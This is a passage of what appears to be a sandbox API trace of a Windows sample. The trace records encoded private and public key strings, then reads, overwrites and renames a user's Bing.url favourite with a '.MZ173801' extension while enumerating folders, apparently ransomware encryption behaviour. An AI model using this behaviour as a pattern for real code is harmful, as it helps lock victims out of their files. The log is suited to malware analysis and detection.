OPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0172.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0172.356] GetCurrentThreadId () returned 0xab4 [0172.356] GetCurrentThreadId () returned 0xab4 [0172.356] GetCurrentThreadId () returned 0xab4 [0172.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0172.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0172.357] GetCurrentThreadId () returned 0xab4 [0172.357] GetCurrentThreadId () returned 0xab4 [0172.357] GetCurrentThreadId () returned 0xab4 [0172.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0172.357] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0172.357] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0172.357] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xd0 [0172.357] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0172.357] ReadFile (in: hFile=0x284, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xd0, lpOverlapped=0x0) returned 1 [0172.358] CloseHandle (hObject=0x284) returned 1 [0172.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0172.359] WriteFile (in: hFile=0x284, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0xd0, lpOverlapped=0x0) returned 1 [0172.360] CloseHandle (hObject=0x284) returned 1 [0172.361] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), lpNewFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.MZ173801" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.mz173801")) returned 1 [0172.361] GetCurrentThreadId () returned 0xab4 [0172.361] GetCurrentThreadId () returned 0xab4 [0172.361] GetCurrentThreadId () returned 0xab4 [0172.361] GetCurrentThreadId () returned 0xab4 [0172.361] GetCurrentThreadId () returned 0xab4 [0172.361] GetCurrentThreadId () returned 0xab4 [0172.361] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.361] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.361] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.361] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0172.361] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 0 [0172.361] GetLastError () returned 0x12 [0172.361] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.361] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x90e14a84, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x90e14a84, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.362] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.362] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.362] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x90e14a84, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x90e14a84, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.362] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.362] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.362] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x90e14a84, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Bing.url.MZ173801", cAlternateFileName="")) returned 1 [0172.362] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.362] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.362] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.362] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0172.362] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.362] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.362] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.362] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.362] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.362] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.362] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.362] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.362] GetLastError () returned 0x12 [0172.362] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.362] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, 